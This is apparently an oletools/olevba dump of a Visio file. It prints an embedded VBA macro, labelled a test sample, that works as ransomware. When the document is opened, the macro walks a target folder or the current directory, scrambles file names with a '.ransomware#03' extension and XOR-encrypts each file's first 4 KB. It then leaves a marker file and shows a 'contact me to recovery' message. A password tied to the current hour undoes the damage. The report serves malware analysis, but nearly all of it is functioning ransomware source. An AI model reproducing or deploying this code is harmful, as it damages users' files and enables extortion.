Visio Test Malicious VBA

9a97b33b4f48f134e6b1524d1bae90982d2bb56f4ceb01cecbf9cc8827263d55

olevba3 0.53.1 - http://decalage.info/python/oletools
Flags        Filename                                                         
-----------  -----------------------------------------------------------------
OpX:M-S-H--- 9a97b33b4f48f134e6b1524d1bae90982d2bb56f4ceb01cecbf9cc8827263d55
===============================================================================
FILE: 9a97b33b4f48f134e6b1524d1bae90982d2bb56f4ceb01cecbf9cc8827263d55
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: visio/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
'This Ransomware is a sample test for santinizing AutoCAD files (DWG /DXF), do not use for malicious purposes
'Written by Thai Hung Van, 20180308
'
'Note: recovery password must be "**<'A'+Chr(h)>***<hh>*" // h/hh: current hour, *: any char
' if "<currentDir>\done.rw" exists then cancel
' default <Path> is "C:\test\RansomWare\" - if it does not exists then <CurrentFolder> will be used
' and if "<currentDir>\set.rw" exists then <Path> is the first line

Option Explicit
Const PATH4RW = "C:\test\RansomWare\"
Const EXT_ = ".ransomware#03"
Public Path_ As String
Public Encrypted As Boolean

Sub Rename(ByVal Path As String, ByVal FName As String)
    On Error GoTo ErrHandler
        If (FName = "") Then Exit Sub
        Dim NewName As String: NewName = ""
        Dim ch As Byte
        Dim i As Integer
        For i = 1 To 33
            ch = (123 - 48) * Rnd + 48
            If (ch = 58 Or ch = 60 Or ch = 62 Or ch = 63 Or ch = 92) Then ch = 48
            NewName = NewName & Chr(ch)
        Next i
        For i = 1 To Len(FName)
            ch = Asc(Mid(FName, i, 1))
            If (ch >= Asc("A") And ch <= Asc("Z")) Then
                ch = Asc("Z") - ch + Asc("a")
            ElseIf (ch >= Asc("a") And ch <= Asc("z")) Then
                ch = Asc("z") - ch + Asc("A")
            ElseIf (ch >= Asc("0") And ch <= Asc("9")) Then
                ch = Asc("9") - ch + Asc("0")
            End If
            NewName = NewName & Chr(ch)
        Next i
        NewName = NewName & EXT_
        
        Name (Path & FName) As (Path & NewName)   ' Rename File
        
        Exit Sub
ErrHandler:
End Sub

Sub UnRename(ByVal Path As String, ByVal FName As String)
    If (Right(FName, Len(EXT_)) <> EXT_) Then Exit Sub
    On Error GoTo ErrHandler
    
        Dim NewName As String: NewName = ""
        Dim i As Integer
        Dim ch As Byte
        For i = 34 To Len(FName) - Len(EXT_)
            ch = Asc(Mid(FName, i, 1))
            If (ch >= Asc("A") And ch <= Asc("Z")) Then
                ch = Asc("Z") - ch + Asc("a")
            ElseIf (ch >= Asc("a") And ch <= Asc("z")) Then
                ch = Asc("z") - ch + Asc("A")
            ElseIf (ch >= Asc("0") And ch <= Asc("9")) Then
                ch = Asc("9") - ch + Asc("0")
            End If
            NewName = NewName & Chr(ch)
        Next i
        
        Name (Path & FName) As (Path & NewName)   ' Rename File
        
        Exit Sub
ErrHandler:
    'MsgBox "Error in Rename File", , "DWG Ransomware Err"
End Sub

Sub ReNameAll(ByVal FolderName As String, ByVal OnOff As Boolean) 'On (True): recovery original filename
    Dim FileSystemObject As Object
    Dim Folder As Object
    Dim SubFolder As Object
    Dim File As Object
    
    If (FolderName = "") Then Exit Sub
    Set FileSystemObject = CreateObject("Scripting.FileSystemObject")
    Set Folder = FileSystemObject.GetFolder(FolderName)
    If (Right(FolderName, 1) <> "\") Then FolderName = FolderName & "\"
    For Each File In Folder.Files
        If OnOff = True Then
            If (Right(File.Name, Len(EXT_)) = EXT_) Then Call UnRename(FolderName, File.Name)
        Else
            Dim File_Ext As String: File_Ext = Right(File.Name, 3)
            If (Not IsAbort(File_Ext)) Then Call Rename(FolderName, File.Name)
        End If
        'VBA.Kill (path & fname)
    Next File
    
    For Each SubFolder In Folder.SubFolders
        Call ReNameAll(SubFolder.Path, OnOff)
    Next SubFolder
    
    Set File = Nothing
    Set Folder = Nothing
    Set FileSystemObject = Nothing
End Sub

Function IsAbort(Ext As String) As Boolean
    Ext = LCase(Ext)
    If (Ext = "#03" Or Ext = "bin" Or Ext = "dat" Or Ext = "dll" Or Ext = "exe") Then
        IsAbort = True
    ElseIf (Ext = "ini" Or Ext = "com" Or Ext = "sys" Or Ext = "tmp") Then
        IsAbort = True
    Else
        IsAbort = False
    End If
End Function

Sub EncryptAll(ByVal FolderName As String, ByVal IsSubfolders As Boolean)
    Dim FileSystemObject As Object
    Dim Folder As Object
    Dim SubFolder As Object
    Dim File As Object

    If (FolderName = "") Then Exit Sub
    Set FileSystemObject = CreateObject("Scripting.FileSystemObject")
    Set Folder = FileSystemObject.GetFolder(FolderName)
    If (Right(FolderName, 1) <> "\") Then FolderName = FolderName & "\"
    For Each File In Folder.Files
        If (Right(File.Name, Len(EXT_)) = EXT_) Then
            EncryptFile (FolderName & File.Name)
        End If
    Next File
    'Call EncryptFolder(Folder.Name, WildcardStr)
    If IsSubfolders Then
        For Each SubFolder In Folder.SubFolders
            Call EncryptAll(SubFolder.Path, True)
        Next SubFolder
    End If
    Set File = Nothing
    Set Folder = Nothing
    Set FileSystemObject = Nothing
End Sub

Sub EncryptFile(ByVal FileName As String)
    On Error GoTo ErrHandler
    Dim FreeNum As Integer: FreeNum = FreeFile
    Open FileName For Binary Lock Read Write As #FreeNum
    Dim MaxLen As Long: MaxLen = FileLen(FileName)
    If (MaxLen > 4096) Then MaxLen = 4096
    ReDim buf(1 To MaxLen) As Byte
      
    Get #FreeNum, 1, buf ' get every binary data
    Dim i As Long
    For i = 1 To MaxLen - 1
        buf(i) = buf(i) Xor 85
    Next i
    Put #FreeNum, 1, buf
    Close #FreeNum
    Exit Sub
ErrHandler:
    MsgBox "Error in Encrypting", , "DWG Ransomware Err"
End Sub

' if "<currentDir>\done.rw" exists then cancel
Private Function getPath() As String
    Dim CurDir_ As String
    Dim resetDir As String
    Dim FreeNum As Integer
    
    Encrypted = False
    CurDir_ = CurDir()
    On Error GoTo ErrHandler
    
    getPath = PATH4RW
    If (Dir(CurDir_ & "\*.*") <> "") Then Exit Function
    
    If (Dir(CurDir_ & "\done.rw") <> "") Then
        Encrypted = True
        FreeNum = FreeFile
        Open CurDir_ & "\done.rw" For Input As FreeNum
        Line Input #FreeNum, resetDir
        Close #FreeNum
        If (Right(resetDir, 1) <> "\") Then resetDir = resetDir & "\"
        getPath = resetDir
        Exit Function
    ElseIf (Dir(PATH4RW) <> "") Then
        getPath = PATH4RW
    ElseIf (Dir(CurDir_ & "\set.rw") <> "") Then
        FreeNum = FreeFile
        Open CurDir_ & "\set.rw" For Input As FreeNum
        Line Input #FreeNum, resetDir
        Close #FreeNum
        If (Right(resetDir, 1) <> "\") Then resetDir = resetDir & "\"
        If (Dir(resetDir & "*.*") <> "") Then getPath = resetDir Else getPath = CurDir_
    Else
        getPath = CurDir_
    End If
    'Exit Function
ErrHandler:
   ' getPath = CurDir_
End Function

Private Sub Document_DocumentCreated(ByVal doc As IVDocument) 'Decrypt all
    Dim ans As String: ans = InputBox("Password to decrypt your files:", , "Ransomware#03")
    If (Len(ans) < 8) Then Exit Sub
    Dim pw As Byte: pw = Asc(Mid(ans, 3, 1)) - 65
    Dim s As String: s = Mid(ans, 7, 2)
    If (Not IsNumeric(s)) Then Exit Sub
    If (pw <> Int(s)) Then Exit Sub 'password must equal **<'A'+Chr(h)>***<hh>*
    If (pw <> Hour(Now())) Then Exit Sub
        
    If Path_ = "" Then Path_ = CurDir()
    Call EncryptAll(Path_, True) ' decode all filename
    Call ReNameAll(Path_, True)
End Sub

Private Sub Document_DocumentOpened(ByVal doc As IVDocument)
    Path_ = getPath()
    If (Encrypted) Then Exit Sub
    Call ReNameAll(Path_, False) ' encode all filename
    Call EncryptAll(Path_, True)
    ' put a sign to know that the encryption is done
    Dim FreeNum As Integer: FreeNum = FreeFile
    Open (CurDir() & "\done.rw") For Binary As #FreeNum
    Close #FreeNum
    MsgBox "Your data has been decrypted. Pls contact me to recovery", , "Visio Ransomware"
End Sub

Private Sub Document_DocumentSaved(ByVal doc As IVDocument)
    Dim ans As String: ans = InputBox("Password to decrypt your files:", , "Ransomware#03")
    If (Len(ans) < 8) Then Exit Sub
    Dim pw As Byte: pw = Asc(Mid(ans, 3, 1)) - 65
    Dim s As String: s = Mid(ans, 7, 2)
    If (Not IsNumeric(s)) Then Exit Sub
    If (pw <> Int(s)) Then Exit Sub 'password must equal **<'A'+Chr(h)>***<hh>*
    If (pw <> Hour(Now())) Then Exit Sub
        
    If Path_ = "" Then Path_ = CurDir()
    Call EncryptAll(Path_, True) ' decode all filename
    Call ReNameAll(Path_, True)
End Sub